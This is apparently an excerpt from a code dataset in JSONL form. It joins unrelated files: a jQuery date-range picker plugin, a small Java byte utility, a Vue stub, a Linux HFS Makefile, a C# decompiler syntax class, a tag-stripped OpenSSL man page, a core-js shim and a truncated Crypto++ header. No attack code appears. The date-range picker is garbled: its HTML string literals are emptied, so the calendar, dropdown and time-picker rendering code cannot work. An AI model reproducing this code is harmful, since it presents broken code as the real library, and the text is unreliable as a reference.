    ';\n this.container.find('.ranges ul').remove();\n this.container.find('.ranges').prepend(list);\n }\n\n if (typeof callback === 'function') {\n this.cb = callback;\n }\n\n if (!this.timePicker) {\n this.startDate = this.startDate.startOf('day');\n this.endDate = this.endDate.endOf('day');\n }\n\n if (this.singleDatePicker) {\n this.opens = 'right';\n this.container.find('.calendar.right').show();\n this.container.find('.calendar.left').hide();\n this.container.find('.ranges').hide();\n if (!this.container.find('.calendar.right').hasClass('single'))\n this.container.find('.calendar.right').addClass('single');\n } else {\n this.container.find('.calendar.right').removeClass('single');\n this.container.find('.ranges').show();\n }\n\n this.oldStartDate = this.startDate.clone();\n this.oldEndDate = this.endDate.clone();\n this.oldChosenLabel = this.chosenLabel;\n\n this.leftCalendar = {\n month: moment([this.startDate.year(), this.startDate.month(), 1, this.startDate.hour(), this.startDate.minute()]),\n calendar: []\n };\n\n this.rightCalendar = {\n month: moment([this.endDate.year(), this.endDate.month(), 1, this.endDate.hour(), this.endDate.minute()]),\n calendar: []\n };\n\n if (this.opens == 'right') {\n //swap calendar positions\n var left = this.container.find('.calendar.left');\n var right = this.container.find('.calendar.right');\n left.removeClass('left').addClass('right');\n right.removeClass('right').addClass('left');\n }\n\n if (typeof options.ranges === 'undefined' && !this.singleDatePicker) {\n this.container.addClass('show-calendar');\n }\n\n this.container.addClass('opens' + this.opens);\n\n this.updateView();\n this.updateCalendars();\n\n },\n\n setStartDate: function(startDate) {\n if (typeof startDate === 'string')\n this.startDate = moment(startDate, this.format);\n\n if (typeof startDate === 'object')\n this.startDate = moment(startDate);\n\n if (!this.timePicker)\n this.startDate = this.startDate.startOf('day');\n\n this.oldStartDate = this.startDate.clone();\n\n this.updateView();\n this.updateCalendars();\n },\n\n setEndDate: function(endDate) {\n if (typeof endDate === 'string')\n this.endDate = moment(endDate, this.format);\n\n if (typeof endDate === 'object')\n this.endDate = moment(endDate);\n\n if (!this.timePicker)\n this.endDate = this.endDate.endOf('day');\n\n this.oldEndDate = this.endDate.clone();\n\n this.updateView();\n this.updateCalendars();\n },\n\n updateView: function () {\n this.leftCalendar.month.month(this.startDate.month()).year(this.startDate.year());\n this.rightCalendar.month.month(this.endDate.month()).year(this.endDate.year());\n this.updateFormInputs();\n },\n\n updateFormInputs: function () {\n this.container.find('input[name=daterangepicker_start]').val(this.startDate.format(this.format));\n this.container.find('input[name=daterangepicker_end]').val(this.endDate.format(this.format));\n\n if (this.startDate.isSame(this.endDate) || this.startDate.isBefore(this.endDate)) {\n this.container.find('button.applyBtn').removeAttr('disabled');\n } else {\n this.container.find('button.applyBtn').attr('disabled', 'disabled');\n }\n },\n\n updateFromControl: function () {\n if (!this.element.is('input')) return;\n if (!this.element.val().length) return;\n\n var dateString = this.element.val().split(this.separator);\n var start = moment(dateString[0], this.format);\n var end = moment(dateString[1], this.format);\n\n if (this.singleDatePicker) {\n start = moment(this.element.val(), this.format);\n end = start;\n }\n\n if (end.isBefore(start)) return;\n\n this.oldStartDate = this.startDate.clone();\n this.oldEndDate = this.endDate.clone();\n\n this.startDate = start;\n this.endDate = end;\n\n if (!this.startDate.isSame(this.oldStartDate) || !this.endDate.isSame(this.oldEndDate))\n this.notify();\n\n this.updateCalendars();\n },\n\n notify: function () {\n this.updateView();\n this.cb(this.startDate, this.endDate, this.chosenLabel);\n },\n\n move: function () {\n var parentOffset = { top: 0, left: 0 };\n if (!this.parentEl.is('body')) {\n parentOffset = {\n top: this.parentEl.offset().top - this.parentEl.scrollTop(),\n left: this.parentEl.offset().left - this.parentEl.scrollLeft()\n };\n }\n \n if (this.opens == 'left') {\n this.container.css({\n top: this.element.offset().top + this.element.outerHeight() - parentOffset.top,\n right: $(window).width() - this.element.offset().left - this.element.outerWidth() - parentOffset.left,\n left: 'auto'\n });\n if (this.container.offset().left < 0) {\n this.container.css({\n right: 'auto',\n left: 9\n });\n }\n } else {\n this.container.css({\n top: this.element.offset().top + this.element.outerHeight() - parentOffset.top,\n left: this.element.offset().left - parentOffset.left,\n right: 'auto'\n });\n if (this.container.offset().left + this.container.outerWidth() > $(window).width()) {\n this.container.css({\n left: 'auto',\n right: 0\n });\n }\n }\n },\n\n toggle: function (e) {\n if (this.element.hasClass('active')) {\n this.hide();\n } else {\n this.show();\n }\n },\n\n show: function (e) {\n this.element.addClass('active');\n this.container.show();\n this.move();\n\n $(document).on('click.daterangepicker', $.proxy(this.outsideClick, this));\n // also explicitly play nice with Bootstrap dropdowns, which stopPropagation when clicking them\n $(document).on('click.daterangepicker', '[data-toggle=dropdown]', $.proxy(this.outsideClick, this));\n\n this.element.trigger('show.daterangepicker', this);\n },\n\n outsideClick: function (e) {\n var target = $(e.target);\n // if the page is clicked anywhere except within the daterangerpicker/button\n // itself then call this.hide()\n if (\n target.closest(this.element).length ||\n target.closest(this.container).length ||\n target.closest('.calendar-date').length \n ) return;\n //this.hide();\n },\n\n hide: function (e) {\n this.element.removeClass('active');\n this.container.hide();\n\n if (!this.startDate.isSame(this.oldStartDate) || !this.endDate.isSame(this.oldEndDate))\n this.notify();\n\n this.oldStartDate = this.startDate.clone();\n this.oldEndDate = this.endDate.clone();\n\n $(document).off('click.daterangepicker', this.outsideClick);\n this.element.trigger('hide.daterangepicker', this);\n },\n\n enterRange: function (e) {\n // mouse pointer has entered a range label\n var label = e.target.innerHTML;\n if (label == this.locale.customRangeLabel) {\n this.updateView();\n } else {\n var dates = this.ranges[label];\n this.container.find('input[name=daterangepicker_start]').val(dates[0].format(this.format));\n this.container.find('input[name=daterangepicker_end]').val(dates[1].format(this.format));\n }\n },\n\n showCalendars: function() {\n this.container.addClass('show-calendar');\n this.move();\n },\n\n hideCalendars: function() {\n this.container.removeClass('show-calendar');\n },\n\n updateInputText: function() {\n if (this.element.is('input') && !this.singleDatePicker) {\n this.element.val(this.startDate.format(this.format) + this.separator + this.endDate.format(this.format));\n } else if (this.element.is('input')) {\n this.element.val(this.startDate.format(this.format));\n }\n },\n\n clickRange: function (e) {\n var label = e.target.innerHTML;\n this.chosenLabel = label;\n if (label == this.locale.customRangeLabel) {\n this.showCalendars();\n } else {\n var dates = this.ranges[label];\n\n this.startDate = dates[0];\n this.endDate = dates[1];\n\n if (!this.timePicker) {\n this.startDate.startOf('day');\n this.endDate.endOf('day');\n }\n\n this.leftCalendar.month.month(this.startDate.month()).year(this.startDate.year()).hour(this.startDate.hour()).minute(this.startDate.minute());\n this.rightCalendar.month.month(this.endDate.month()).year(this.endDate.year()).hour(this.endDate.hour()).minute(this.endDate.minute());\n this.updateCalendars();\n\n this.updateInputText();\n\n this.hideCalendars();\n this.hide();\n this.element.trigger('apply.daterangepicker', this);\n }\n },\n\n clickPrev: function (e) {\n var cal = $(e.target).parents('.calendar');\n if (cal.hasClass('left')) {\n this.leftCalendar.month.subtract('month', 1);\n } else {\n this.rightCalendar.month.subtract('month', 1);\n }\n this.updateCalendars();\n },\n\n clickNext: function (e) {\n var cal = $(e.target).parents('.calendar');\n if (cal.hasClass('left')) {\n this.leftCalendar.month.add('month', 1);\n } else {\n this.rightCalendar.month.add('month', 1);\n }\n this.updateCalendars();\n },\n\n enterDate: function (e) {\n\n var title = $(e.target).attr('data-title');\n var row = title.substr(1, 1);\n var col = title.substr(3, 1);\n var cal = $(e.target).parents('.calendar');\n\n if (cal.hasClass('left')) {\n this.container.find('input[name=daterangepicker_start]').val(this.leftCalendar.calendar[row][col].format(this.format));\n } else {\n this.container.find('input[name=daterangepicker_end]').val(this.rightCalendar.calendar[row][col].format(this.format));\n }\n\n },\n\n clickDate: function (e) {\n var title = $(e.target).attr('data-title');\n var row = title.substr(1, 1);\n var col = title.substr(3, 1);\n var cal = $(e.target).parents('.calendar');\n\n var startDate, endDate;\n if (cal.hasClass('left')) {\n startDate = this.leftCalendar.calendar[row][col];\n endDate = this.endDate;\n if (typeof this.dateLimit === 'object') {\n var maxDate = moment(startDate).add(this.dateLimit).startOf('day');\n if (endDate.isAfter(maxDate)) {\n endDate = maxDate;\n }\n }\n } else {\n startDate = this.startDate;\n endDate = this.rightCalendar.calendar[row][col];\n if (typeof this.dateLimit === 'object') {\n var minDate = moment(endDate).subtract(this.dateLimit).startOf('day');\n if (startDate.isBefore(minDate)) {\n startDate = minDate;\n }\n }\n }\n\n if (this.singleDatePicker && cal.hasClass('left')) {\n endDate = startDate.clone();\n } else if (this.singleDatePicker && cal.hasClass('right')) {\n startDate = endDate.clone();\n }\n\n cal.find('td').removeClass('active');\n\n if (startDate.isSame(endDate) || startDate.isBefore(endDate)) {\n $(e.target).addClass('active');\n this.startDate = startDate;\n this.endDate = endDate;\n this.chosenLabel = this.locale.customRangeLabel;\n } else if (startDate.isAfter(endDate)) {\n $(e.target).addClass('active');\n var difference = this.endDate.diff(this.startDate);\n this.startDate = startDate;\n this.endDate = moment(startDate).add('ms', difference);\n this.chosenLabel = this.locale.customRangeLabel;\n }\n\n this.leftCalendar.month.month(this.startDate.month()).year(this.startDate.year());\n this.rightCalendar.month.month(this.endDate.month()).year(this.endDate.year());\n this.updateCalendars();\n\n endDate.endOf('day');\n\n if (this.singleDatePicker)\n this.clickApply();\n },\n\n clickApply: function (e) {\n this.updateInputText();\n this.hide();\n this.element.trigger('apply.daterangepicker', this);\n },\n\n clickCancel: function (e) {\n this.startDate = this.oldStartDate;\n this.endDate = this.oldEndDate;\n this.chosenLabel = this.oldChosenLabel;\n this.updateView();\n this.updateCalendars();\n this.hide();\n this.element.trigger('cancel.daterangepicker', this);\n },\n\n updateMonthYear: function (e) {\n var isLeft = $(e.target).closest('.calendar').hasClass('left'),\n leftOrRight = isLeft ? 'left' : 'right',\n cal = this.container.find('.calendar.'+leftOrRight);\n\n // Month must be Number for new moment versions\n var month = parseInt(cal.find('.monthselect').val(), 10);\n var year = cal.find('.yearselect').val();\n\n this[leftOrRight+'Calendar'].month.month(month).year(year);\n this.updateCalendars();\n },\n\n updateTime: function(e) {\n var isLeft = $(e.target).closest('.calendar').hasClass('left'),\n leftOrRight = isLeft ? 'left' : 'right',\n cal = this.container.find('.calendar.'+leftOrRight);\n\n var hour = parseInt(cal.find('.hourselect').val(), 10);\n var minute = parseInt(cal.find('.minuteselect').val(), 10);\n\n if (this.timePicker12Hour) {\n var ampm = cal.find('.ampmselect').val();\n if (ampm === 'PM' && hour < 12)\n hour += 12;\n if (ampm === 'AM' && hour === 12)\n hour = 0;\n }\n\n if (isLeft) {\n var start = this.startDate.clone();\n start.hour(hour);\n start.minute(minute);\n this.startDate = start;\n this.leftCalendar.month.hour(hour).minute(minute);\n } else {\n var end = this.endDate.clone();\n end.hour(hour);\n end.minute(minute);\n this.endDate = end;\n this.rightCalendar.month.hour(hour).minute(minute);\n }\n\n this.updateCalendars();\n },\n\n updateCalendars: function () {\n this.leftCalendar.calendar = this.buildCalendar(this.leftCalendar.month.month(), this.leftCalendar.month.year(), this.leftCalendar.month.hour(), this.leftCalendar.month.minute(), 'left');\n this.rightCalendar.calendar = this.buildCalendar(this.rightCalendar.month.month(), this.rightCalendar.month.year(), this.rightCalendar.month.hour(), this.rightCalendar.month.minute(), 'right');\n this.container.find('.calendar.left').html(this.renderCalendar(this.leftCalendar.calendar, this.startDate, this.minDate, this.maxDate));\n this.container.find('.calendar.right').html(this.renderCalendar(this.rightCalendar.calendar, this.endDate, this.startDate, this.maxDate));\n\n this.container.find('.ranges li').removeClass('active');\n var customRange = true;\n var i = 0;\n for (var range in this.ranges) {\n if (this.timePicker) {\n if (this.startDate.isSame(this.ranges[range][0]) && this.endDate.isSame(this.ranges[range][1])) {\n customRange = false;\n this.chosenLabel = this.container.find('.ranges li:eq(' + i + ')')\n .addClass('active').html();\n }\n } else {\n //ignore times when comparing dates if time picker is not enabled\n if (this.startDate.format('YYYY-MM-DD') == this.ranges[range][0].format('YYYY-MM-DD') && this.endDate.format('YYYY-MM-DD') == this.ranges[range][1].format('YYYY-MM-DD')) {\n customRange = false;\n this.chosenLabel = this.container.find('.ranges li:eq(' + i + ')')\n .addClass('active').html();\n }\n }\n i++;\n }\n if (customRange) {\n this.chosenLabel = this.container.find('.ranges li:last')\n .addClass('active').html();\n }\n },\n\n buildCalendar: function (month, year, hour, minute, side) {\n var firstDay = moment([year, month, 1]);\n var lastMonth = moment(firstDay).subtract('month', 1).month();\n var lastYear = moment(firstDay).subtract('month', 1).year();\n\n var daysInLastMonth = moment([lastYear, lastMonth]).daysInMonth();\n\n var dayOfWeek = firstDay.day();\n\n var i;\n\n //initialize a 6 rows x 7 columns array for the calendar\n var calendar = [];\n for (i = 0; i < 6; i++) {\n calendar[i] = [];\n }\n\n //populate the calendar with date objects\n var startDay = daysInLastMonth - dayOfWeek + this.locale.firstDay + 1;\n if (startDay > daysInLastMonth)\n startDay -= 7;\n\n if (dayOfWeek == this.locale.firstDay)\n startDay = daysInLastMonth - 6;\n\n var curDate = moment([lastYear, lastMonth, startDay, 12, minute]);\n var col, row;\n for (i = 0, col = 0, row = 0; i < 42; i++, col++, curDate = moment(curDate).add('hour', 24)) {\n if (i > 0 && col % 7 === 0) {\n col = 0;\n row++;\n }\n calendar[row][col] = curDate.clone().hour(hour);\n curDate.hour(12);\n }\n\n return calendar;\n },\n\n renderDropdowns: function (selected, minDate, maxDate) {\n var currentMonth = selected.month();\n var monthHtml = '\";\n\n var currentYear = selected.year();\n var maxYear = (maxDate && maxDate.year()) || (currentYear + 5);\n var minYear = (minDate && minDate.year()) || (currentYear - 50);\n var yearHtml = '';\n\n return monthHtml + yearHtml;\n },\n\n renderCalendar: function (calendar, selected, minDate, maxDate) {\n\n var html = '
    ';\n html += '';\n html += '';\n html += '';\n\n // add empty cell for week number\n if (this.showWeekNumbers)\n html += '';\n\n if (!minDate || minDate.isBefore(calendar[1][1])) {\n html += '';\n } else {\n html += '';\n }\n\n var dateHtml = this.locale.monthNames[calendar[1][1].month()] + calendar[1][1].format(\" YYYY\");\n\n if (this.showDropdowns) {\n dateHtml = this.renderDropdowns(calendar[1][1], minDate, maxDate);\n }\n\n html += '';\n if (!maxDate || maxDate.isAfter(calendar[1][1])) {\n html += '';\n } else {\n html += '';\n }\n\n html += '';\n html += '';\n\n // add week number label\n if (this.showWeekNumbers)\n html += '';\n\n $.each(this.locale.daysOfWeek, function (index, dayOfWeek) {\n html += '';\n });\n\n html += '';\n html += '';\n html += '';\n\n for (var row = 0; row < 6; row++) {\n html += '';\n\n // add week number\n if (this.showWeekNumbers)\n html += '';\n\n for (var col = 0; col < 7; col++) {\n var cname = 'available ';\n cname += (calendar[row][col].month() == calendar[1][1].month()) ? '' : 'off';\n\n if ((minDate && calendar[row][col].isBefore(minDate)) || (maxDate && calendar[row][col].isAfter(maxDate))) {\n cname = ' off disabled ';\n } else if (calendar[row][col].format('YYYY-MM-DD') == selected.format('YYYY-MM-DD')) {\n cname += ' active ';\n if (calendar[row][col].format('YYYY-MM-DD') == this.startDate.format('YYYY-MM-DD')) {\n cname += ' start-date ';\n }\n if (calendar[row][col].format('YYYY-MM-DD') == this.endDate.format('YYYY-MM-DD')) {\n cname += ' end-date ';\n }\n } else if (calendar[row][col] >= this.startDate && calendar[row][col] <= this.endDate) {\n cname += ' in-range ';\n if (calendar[row][col].isSame(this.startDate)) { cname += ' start-date '; }\n if (calendar[row][col].isSame(this.endDate)) { cname += ' end-date '; }\n }\n\n var title = 'r' + row + 'c' + col;\n html += '';\n }\n html += '';\n }\n\n html += '';\n html += '
    ' + dateHtml + '
    ' + this.locale.weekLabel + '' + dayOfWeek + '
    ' + calendar[row][0].week() + '' + calendar[row][col].date() + '
    ';\n html += '
    ';\n\n var i;\n if (this.timePicker) {\n\n html += '
    ';\n html += ' : ';\n\n html += ' ';\n\n if (this.timePicker12Hour) {\n html += '';\n }\n\n html += '
    ';\n\n }\n\n return html;\n\n },\n\n remove: function() {\n\n this.container.remove();\n this.element.off('.daterangepicker');\n this.element.removeData('daterangepicker');\n\n }\n\n };\n\n $.fn.daterangepicker = function (options, cb) {\n this.each(function () {\n var el = $(this);\n if (el.data('daterangepicker'))\n el.data('daterangepicker').remove();\n el.data('daterangepicker', new DateRangePicker(el, options, cb));\n });\n return this;\n };\n\n}(window.jQuery, window.moment);\n"} +{"text": "/**\n * Copyright (C) 2018 BlobCity Inc\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published\n * by the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see .\n */\n\npackage com.blobcity.lib.database.tcp.end.point.decoder.util;\n\nimport java.math.BigInteger;\n\n/**\n * Utility class to handle byte level conversions\n *\n * @author javatarz (Karun Japhet)\n */\npublic class ByteUtil {\n\n public static int getInt(final byte[] byteArr) {\n return new BigInteger(byteArr).intValueExact();\n }\n}\n"} +{"text": "import Vue from 'vue';\n\nconst ob = new Vue();\n\nexport default ob\n"} +{"text": "#\n# Makefile for the Linux hfs filesystem routines.\n#\n\nobj-$(CONFIG_HFS_FS) += hfs.o\n\nhfs-objs := bitmap.o bfind.o bnode.o brec.o btree.o \\\n\t catalog.o dir.o extent.o inode.o attr.o mdb.o \\\n part_tbl.o string.o super.o sysdep.o trans.o\n"} +{"text": "open LwtNode;\n\nNode.run(ignore(Fs.mkdir(\"myDir\")));"} +{"text": "// \n// TryCatchStatement.cs\n//\n// Author:\n// Mike Krüger \n// \n// Copyright (c) 2009 Novell, Inc (http://www.novell.com)\n// \n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to deal\n// in the Software without restriction, including without limitation the rights\n// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n// copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n// \n// The above copyright notice and this permission notice shall be included in\n// all copies or substantial portions of the Software.\n// \n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n// THE SOFTWARE.\n\n\nnamespace ICSharpCode.Decompiler.CSharp.Syntax\n{\n\t/// \n\t/// try TryBlock CatchClauses finally FinallyBlock\n\t/// \n\tpublic class TryCatchStatement : Statement\n\t{\n\t\tpublic static readonly TokenRole TryKeywordRole = new TokenRole(\"try\");\n\t\tpublic static readonly Role TryBlockRole = new Role(\"TryBlock\", BlockStatement.Null);\n\t\tpublic static readonly Role CatchClauseRole = new Role(\"CatchClause\", CatchClause.Null);\n\t\tpublic static readonly TokenRole FinallyKeywordRole = new TokenRole(\"finally\");\n\t\tpublic static readonly Role FinallyBlockRole = new Role(\"FinallyBlock\", BlockStatement.Null);\n\n\t\tpublic CSharpTokenNode TryToken {\n\t\t\tget { return GetChildByRole(TryKeywordRole); }\n\t\t}\n\n\t\tpublic BlockStatement TryBlock {\n\t\t\tget { return GetChildByRole(TryBlockRole); }\n\t\t\tset { SetChildByRole(TryBlockRole, value); }\n\t\t}\n\n\t\tpublic AstNodeCollection CatchClauses {\n\t\t\tget { return GetChildrenByRole(CatchClauseRole); }\n\t\t}\n\n\t\tpublic CSharpTokenNode FinallyToken {\n\t\t\tget { return GetChildByRole(FinallyKeywordRole); }\n\t\t}\n\n\t\tpublic BlockStatement FinallyBlock {\n\t\t\tget { return GetChildByRole(FinallyBlockRole); }\n\t\t\tset { SetChildByRole(FinallyBlockRole, value); }\n\t\t}\n\n\t\tpublic override void AcceptVisitor(IAstVisitor visitor)\n\t\t{\n\t\t\tvisitor.VisitTryCatchStatement(this);\n\t\t}\n\n\t\tpublic override T AcceptVisitor(IAstVisitor visitor)\n\t\t{\n\t\t\treturn visitor.VisitTryCatchStatement(this);\n\t\t}\n\n\t\tpublic override S AcceptVisitor(IAstVisitor visitor, T data)\n\t\t{\n\t\t\treturn visitor.VisitTryCatchStatement(this, data);\n\t\t}\n\n\t\tprotected internal override bool DoMatch(AstNode other, PatternMatching.Match match)\n\t\t{\n\t\t\tTryCatchStatement o = other as TryCatchStatement;\n\t\t\treturn o != null && this.TryBlock.DoMatch(o.TryBlock, match) && this.CatchClauses.DoMatch(o.CatchClauses, match) && this.FinallyBlock.DoMatch(o.FinallyBlock, match);\n\t\t}\n\t}\n\n\t/// \n\t/// catch (Type VariableName) { Body }\n\t/// \n\tpublic class CatchClause : AstNode\n\t{\n\t\tpublic static readonly TokenRole CatchKeywordRole = new TokenRole(\"catch\");\n\t\tpublic static readonly TokenRole WhenKeywordRole = new TokenRole(\"when\");\n\t\tpublic static readonly Role ConditionRole = Roles.Condition;\n\t\tpublic static readonly TokenRole CondLPar = new TokenRole(\"(\");\n\t\tpublic static readonly TokenRole CondRPar = new TokenRole(\")\");\n\n\t\t#region Null\n\t\tpublic new static readonly CatchClause Null = new NullCatchClause();\n\n\t\tsealed class NullCatchClause : CatchClause\n\t\t{\n\t\t\tpublic override bool IsNull {\n\t\t\t\tget {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tpublic override void AcceptVisitor(IAstVisitor visitor)\n\t\t\t{\n\t\t\t\tvisitor.VisitNullNode(this);\n\t\t\t}\n\n\t\t\tpublic override T AcceptVisitor(IAstVisitor visitor)\n\t\t\t{\n\t\t\t\treturn visitor.VisitNullNode(this);\n\t\t\t}\n\n\t\t\tpublic override S AcceptVisitor(IAstVisitor visitor, T data)\n\t\t\t{\n\t\t\t\treturn visitor.VisitNullNode(this, data);\n\t\t\t}\n\n\t\t\tprotected internal override bool DoMatch(AstNode other, PatternMatching.Match match)\n\t\t\t{\n\t\t\t\treturn other == null || other.IsNull;\n\t\t\t}\n\t\t}\n\t\t#endregion\n\n\t\t#region PatternPlaceholder\n\t\tpublic static implicit operator CatchClause(PatternMatching.Pattern pattern)\n\t\t{\n\t\t\treturn pattern != null ? new PatternPlaceholder(pattern) : null;\n\t\t}\n\n\t\tsealed class PatternPlaceholder : CatchClause, PatternMatching.INode\n\t\t{\n\t\t\treadonly PatternMatching.Pattern child;\n\n\t\t\tpublic PatternPlaceholder(PatternMatching.Pattern child)\n\t\t\t{\n\t\t\t\tthis.child = child;\n\t\t\t}\n\n\t\t\tpublic override NodeType NodeType {\n\t\t\t\tget { return NodeType.Pattern; }\n\t\t\t}\n\n\t\t\tpublic override void AcceptVisitor(IAstVisitor visitor)\n\t\t\t{\n\t\t\t\tvisitor.VisitPatternPlaceholder(this, child);\n\t\t\t}\n\n\t\t\tpublic override T AcceptVisitor(IAstVisitor visitor)\n\t\t\t{\n\t\t\t\treturn visitor.VisitPatternPlaceholder(this, child);\n\t\t\t}\n\n\t\t\tpublic override S AcceptVisitor(IAstVisitor visitor, T data)\n\t\t\t{\n\t\t\t\treturn visitor.VisitPatternPlaceholder(this, child, data);\n\t\t\t}\n\n\t\t\tprotected internal override bool DoMatch(AstNode other, PatternMatching.Match match)\n\t\t\t{\n\t\t\t\treturn child.DoMatch(other, match);\n\t\t\t}\n\n\t\t\tbool PatternMatching.INode.DoMatchCollection(Role role, PatternMatching.INode pos, PatternMatching.Match match, PatternMatching.BacktrackingInfo backtrackingInfo)\n\t\t\t{\n\t\t\t\treturn child.DoMatchCollection(role, pos, match, backtrackingInfo);\n\t\t\t}\n\t\t}\n\t\t#endregion\n\n\t\tpublic override NodeType NodeType {\n\t\t\tget {\n\t\t\t\treturn NodeType.Unknown;\n\t\t\t}\n\t\t}\n\n\t\tpublic CSharpTokenNode CatchToken {\n\t\t\tget { return GetChildByRole(CatchKeywordRole); }\n\t\t}\n\n\t\tpublic CSharpTokenNode LParToken {\n\t\t\tget { return GetChildByRole(Roles.LPar); }\n\t\t}\n\n\t\tpublic AstType Type {\n\t\t\tget { return GetChildByRole(Roles.Type); }\n\t\t\tset { SetChildByRole(Roles.Type, value); }\n\t\t}\n\n\t\tpublic string VariableName {\n\t\t\tget { return GetChildByRole(Roles.Identifier).Name; }\n\t\t\tset {\n\t\t\t\tif (string.IsNullOrEmpty(value))\n\t\t\t\t\tSetChildByRole(Roles.Identifier, null);\n\t\t\t\telse\n\t\t\t\t\tSetChildByRole(Roles.Identifier, Identifier.Create(value));\n\t\t\t}\n\t\t}\n\n\t\tpublic Identifier VariableNameToken {\n\t\t\tget {\n\t\t\t\treturn GetChildByRole(Roles.Identifier);\n\t\t\t}\n\t\t\tset {\n\t\t\t\tSetChildByRole(Roles.Identifier, value);\n\t\t\t}\n\t\t}\n\n\t\tpublic CSharpTokenNode RParToken {\n\t\t\tget { return GetChildByRole(Roles.RPar); }\n\t\t}\n\n\t\tpublic CSharpTokenNode WhenToken {\n\t\t\tget { return GetChildByRole(WhenKeywordRole); }\n\t\t}\n\n\t\tpublic CSharpTokenNode CondLParToken {\n\t\t\tget { return GetChildByRole(CondLPar); }\n\t\t}\n\n\t\tpublic Expression Condition {\n\t\t\tget { return GetChildByRole(ConditionRole); }\n\t\t\tset { SetChildByRole(ConditionRole, value); }\n\t\t}\n\n\t\tpublic CSharpTokenNode CondRParToken {\n\t\t\tget { return GetChildByRole(CondRPar); }\n\t\t}\n\n\t\tpublic BlockStatement Body {\n\t\t\tget { return GetChildByRole(Roles.Body); }\n\t\t\tset { SetChildByRole(Roles.Body, value); }\n\t\t}\n\n\t\tpublic override void AcceptVisitor(IAstVisitor visitor)\n\t\t{\n\t\t\tvisitor.VisitCatchClause(this);\n\t\t}\n\n\t\tpublic override T AcceptVisitor(IAstVisitor visitor)\n\t\t{\n\t\t\treturn visitor.VisitCatchClause(this);\n\t\t}\n\n\t\tpublic override S AcceptVisitor(IAstVisitor visitor, T data)\n\t\t{\n\t\t\treturn visitor.VisitCatchClause(this, data);\n\t\t}\n\n\t\tprotected internal override bool DoMatch(AstNode other, PatternMatching.Match match)\n\t\t{\n\t\t\tCatchClause o = other as CatchClause;\n\t\t\treturn o != null && this.Type.DoMatch(o.Type, match) && MatchString(this.VariableName, o.VariableName) && this.Body.DoMatch(o.Body, match);\n\t\t}\n\t}\n}\n"} +{"text": "\n\n\n\nBIO_s_socket\n\n\n\n\n\n\n\n\n\n\n

    NAME

    \n\n

    BIO_s_socket, BIO_new_socket - socket BIO

    \n\n

    SYNOPSIS

    \n\n
     #include <openssl/bio.h>\n \n const BIO_METHOD *BIO_s_socket(void);\n \n BIO *BIO_new_socket(int sock, int close_flag);\n
    \n\n

    DESCRIPTION

    \n\n

    BIO_s_socket() returns the socket BIO method. This is a wrapper round the platform's socket routines.

    \n\n

    BIO_read_ex() and BIO_write_ex() read or write the underlying socket. BIO_puts() is supported but BIO_gets() is not.

    \n\n

    If the close flag is set then the socket is shut down and closed when the BIO is freed.

    \n\n

    BIO_new_socket() returns a socket BIO using sock and close_flag.

    \n\n

    NOTES

    \n\n

    Socket BIOs also support any relevant functionality of file descriptor BIOs.

    \n\n

    The reason for having separate file descriptor and socket BIOs is that on some platforms sockets are not file descriptors and use distinct I/O routines, Windows is one such platform. Any code mixing the two will not work on all platforms.

    \n\n

    RETURN VALUES

    \n\n

    BIO_s_socket() returns the socket BIO method.

    \n\n

    BIO_new_socket() returns the newly allocated BIO or NULL is an error occurred.

    \n\n

    COPYRIGHT

    \n\n

    Copyright 2000-2016 The OpenSSL Project Authors. All Rights Reserved.

    \n\n

    Licensed under the OpenSSL license (the "License"). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at https://www.openssl.org/source/license.html.

    \n\n\n\n\n\n\n\n"} +{"text": "require('../modules/es7.map.to-json');\nmodule.exports = require('../modules/_core').Map;"} +{"text": "#ifndef CRYPTOPP_MQUEUE_H\n#define CRYPTOPP_MQUEUE_H\n\n#include \"queue.h\"\n#include \"filters.h\"\n#include \n\nNAMESPACE_BEGIN(CryptoPP)\n\n//! Message Queue\nclass CRYPTOPP_DLL MessageQueue : public AutoSignaling\n{\npublic:\n\tMessageQueue(unsigned int nodeSize=256);\n\n\tvoid IsolatedInitialize(const NameValuePairs ¶meters)\n\t\t{m_queue.IsolatedInitialize(parameters); m_lengths.assign(1, 0U); m_messageCounts.assign(1, 0U);}\n\tsize_t Put2(const byte *begin, size_t length, int messageEnd, bool blocking)\n\t{\n\t\tm_queue.Put(begin, length);\n\t\tm_lengths.back() += length;\n\t\tif (messageEnd)\n\t\t{\n\t\t\tm_lengths.push_back(0);\n\t\t\tm_messageCounts.back()++;\n\t\t}\n\t\treturn 0;\n\t}\n\tbool IsolatedFlush(bool hardFlush, bool blocking) {return false;}\n\tbool IsolatedMessageSeriesEnd(bool blocking)\n\t\t{m_messageCounts.push_back(0); return false;}\n\n\tlword MaxRetrievable() const\n\t\t{return m_lengths.front();}\n\tbool AnyRetrievable() const\n\t\t{return m_lengths.front() > 0;}\n\n\tsize_t TransferTo2(BufferedTransformation &target, lword &transferBytes, const std::string &channel=DEFAULT_CHANNEL, bool blocking=true);\n\tsize_t CopyRangeTo2(BufferedTransformation &target, lword &begin, lword end=LWORD_MAX, const std::string &channel=DEFAULT_CHANNEL, bool blocking=true) const;\n\n\tlword TotalBytesRetrievable() const\n\t\t{return m_queue.MaxRetrievable();}\n\tunsigned int NumberOfMessages() const\n\t\t{return (unsigned 